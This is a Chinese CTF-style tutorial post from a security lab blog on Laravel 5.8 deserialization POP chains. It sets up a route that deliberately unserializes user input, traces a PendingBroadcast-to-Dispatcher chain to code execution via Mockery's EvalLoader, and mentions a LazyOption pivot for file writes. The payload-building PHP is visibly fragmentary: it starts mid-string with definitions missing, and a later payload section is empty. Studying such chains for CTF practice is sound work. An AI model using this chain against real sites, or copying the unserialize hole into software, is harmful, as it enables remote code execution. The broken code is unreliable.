您当前的位置: 首页 >  ar

合天网安实验室

暂无认证

  • 0浏览

    0关注

    748博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

通过几道CTF题学习Laravel框架

合天网安实验室 发布时间:2021-06-09 17:30:00 ,浏览量:0

简介

Laravel是一款比较流行的优秀 PHP 开发框架,通过这个框架来入门大型框架的代码审计、包括锻炼反序列化漏洞的挖掘利用是比较合适的,本文分析了Laravel5Laravel8两个版本的部分利用链,并结合CTF题目来学习Laravel框架

Laravel5.8.x反序列化POP链

安装:其中--prefer-dist表示优先下载zip压缩包方式

composer create-project --prefer-dist laravel/laravel=5.8.* laravel5.8

在路由文件routes/web.php中添加

Route::get('/foo', function () {
    if(isset($_GET['c'])){
        $code = $_GET['c'];
        unserialize($code);
    }
    else{
        highlight_file(__FILE__);
    }
    return "Test laravel5.8 pop";
});

然后在public目录起一个php服务就可以进行测试了cd /public

php -S 0.0.0.0:port
/foo?c=
链一

链的入口是在

laravel5.8\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php
public function __destruct()
{
        $this->events->dispatch($this->event);
    }

这里的$this->events$this->event可控,

这里把$this->events设为含有dispatch方法的Dispatcher类,我们看到laravel5.8\vendor\laravel\framework\src\Illuminate\Bus\Dispatcher.php

public function dispatch($command)
{
        if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
            return $this->dispatchToQueue($command);
        }
        return $this->dispatchNow($command);
    }

跟踪进commandShouldBeQueued

protected function commandShouldBeQueued($command)
{
        return $command instanceof ShouldQueue;
    }

这里要求$command(即传进来的$this->event)要实现ShouldQueue该接口

满足ShouldQueue接口的实现类即可,再跟踪进dispatchToQueue看一下public function dispatchToQueue($command)

{
        $connection = $command->connection ?? null;


        $queue = call_user_func($this->queueResolver, $connection);

这里的$this->queueResolver$connection都是可控的,到这里就可以直接构造payload

rce

';
        }
    }
}


namespace Mockery\Generator{
    class MockConfiguration
    {
        protected $name = "none class";
    }
}


namespace Mockery\Loader{
    class EvalLoader
    {
        public function load(MockDefinition $definition)
        {


        }
    }
}
namespace {
    $config = new \Mockery\Generator\MockConfiguration();
    $connection = new \Mockery\Generator\MockDefinition($config);
    $event = new \Illuminate\Broadcasting\BroadcastEvent($connection);
    $queueResolver = array(new \Mockery\Loader\EvalLoader(),"load");
    $events = new \Illuminate\Bus\Dispatcher($queueResolver);
    $pendingBroadcast = new \Illuminate\Broadcasting\PendingBroadcast($events, $event);
    echo urlencode(serialize($pendingBroadcast));
}

利用跳板

如果说靶机禁用了system等函数,我们希望用file_put_contentsshell等双参数的函数呢,这里有一个好的跳板

laravel5.8\vendor\phpoption\phpoption\src\PhpOption\LazyOption.php
final class LazyOption extends Option
{
    ...
    public function filter($callable)
{
        return $this->option()->filter($callable);
    }
    ...
private function option()
{
        if (null === $this->option) {
            /** @var mixed */
            $option = call_user_func_array($this->callback, $this->arguments);

这里的$this->callback$this->arguments是可控的,但是注意到option的属性是private,无法直接从我们刚刚的call_user_func直接去调用它,但是有许多类似filter的函数里面有调用option

这里可以直接构造payload

            
关注
打赏
1665306545
查看更多评论
0.1059s